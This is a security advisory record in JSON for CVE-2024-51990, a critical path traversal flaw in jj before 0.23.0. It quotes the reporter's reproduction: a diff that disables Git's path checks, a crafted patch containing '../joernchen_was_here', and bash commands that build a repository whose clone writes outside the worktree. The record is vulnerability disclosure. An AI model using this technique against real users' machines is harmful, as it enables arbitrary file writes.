{"id":"GHSA-88h5-6w7m-5w56","summary":"jj vulnerable to path traversal via crafted Git repositories","details":"### Impact\n\nSpecially crafted Git repositories can cause `jj` to write files outside the clone.\n\n### Patches\n\nFixed in 0.23.0.\n\n### Workarounds\n\nNot much other than to not clone repositories from untrusted sources.\n\n### References\n\nHere's the original report from @joernchen:\n\n\u003e When cloning a crafted Git repository it is possible to let `jj` write\n\u003e into arbitrary directories. This can be achieved by having file objects\n\u003e which contain path traversals.\n\u003e \n\u003e Reproduction steps:\n\u003e \n\u003e Apply the following patch to Git version v.2.47.0:\n\u003e \n\u003e ```diff\n\u003e diff --git a/path.c b/path.c\n\u003e index 93491bab14..2f47e69fd1 100644\n\u003e --- a/path.c\n\u003e +++ b/path.c\n\u003e @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)\n\u003e \n\u003e  static const char *cleanup_path(const char *path)\n\u003e  {\n\u003e -       /* Clean it up */\n\u003e +       /* Clean it up\n\u003e         if (skip_prefix(path, \"./\", &path)) {\n\u003e                 while (*path == '/')\n\u003e                         path++;\n\u003e -       }\n\u003e +       }*/\n\u003e         return path;\n\u003e  }\n\u003e \n\u003e @@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)\n\u003e \n\u003e  int normalize_path_copy(char *dst, const char *src)\n\u003e  {\n\u003e -       return normalize_path_copy_len(dst, src, NULL);\n\u003e +//     return normalize_path_copy_len(dst, src, NULL);\n\u003e +       memcpy(dst, src, strlen(dst));\n\u003e +       return 0;\n\u003e  }\n\u003e \n\u003e  int strbuf_normalize_path(struct strbuf *src)\n\u003e diff --git a/read-cache.c b/read-cache.c\n\u003e index 3c078afadb..2eb44cb26f 100644\n\u003e --- a/read-cache.c\n\u003e +++ b/read-cache.c\n\u003e @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,\n\u003e                                                     unsigned mode)\n\u003e  {\n\u003e         char c = 0;\n\u003e +       return PATH_OK;\n\u003e \n\u003e         if (has_dos_drive_prefix(path))\n\u003e                 return PATH_INVALID;\n\u003e ```\n\u003e \n\u003e With this patched `git` binary we can now apply a crafted\n\u003e patch containing a path traversal to a repository.\n\u003e \n\u003e The patch would look like:\n\u003e \n\u003e ```patch\n\u003e From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001\n\u003e From: joernchen \u003c[joernchen@phenoelit.de](mailto:joernchen@phenoelit.de)\u003e\n\u003e Date: Sun, 13 Oct 2024 18:09:50 +0200\n\u003e Subject: [PATCH] z123\n\u003e \n\u003e ---\n\u003e  z | 0\n\u003e  1 file changed, 0 insertions(+), 0 deletions(-)\n\u003e  create mode 100644 z\n\u003e \n\u003e diff --git a/../joernchen_was_here b/../joernchen_was_here\n\u003e new file mode 100644\n\u003e index 0000000..e69de29\n\u003e --\n\u003e 2.46.1\n\u003e ```\n\u003e \n\u003e Note the traversal `../joernchen_was_here` in the patch. This now can be committed to a repository\n\u003e using the modified `git` binary:\n\u003e \n\u003e ```bash\n\u003e mkdir demo\n\u003e cd demo\n\u003e git init\n\u003e ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch\n\u003e rm ../joernchen_was_here # remove the file the modified git wrote\n\u003e ```\n\u003e \n\u003e Now, when cloning that repository with `jj git clone` the path traversal will write above the worktree\n\u003e directory, allowing arbitrary file writes.\n\u003e \n\u003e I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For\n\u003e reproduction it should be sufficient to do `jj git clone demo.git` after unpacking the tarball.\n\u003e \n\u003e The demo repository after being cloned with `jj` will create an empty file `joernchen_was_here` right next\n\u003e to the `demo` directory to demonstrate the traversal.","aliases":["CVE-2024-51990"],"modified":"2024-11-07T16:42:40.808881Z","published":"2024-11-07T16:18:44Z","database_specific":{"nvd_published_at":"2024-11-07T01:15:03Z","severity":"CRITICAL","github_reviewed_at":"2024-11-07T16:18:44Z","github_reviewed":true,"cwe_ids":["CWE-22"]},"references":[{"type":"WEB","url":"https://github.com/martinvonz/jj/security/advisories/GHSA-88h5-6w7m-5w56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51990"},{"type":"PACKAGE","url":"https://github.com/martinvonz/jj"}],"affected":[{"package":{"name":"jj-lib","ecosystem":"crates.io","purl":"pkg:cargo/jj-lib"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.23.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-88h5-6w7m-5w56/GHSA-88h5-6w7m-5w56.json"}}],"schema_version":"1.7.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:H/SA:N"}]}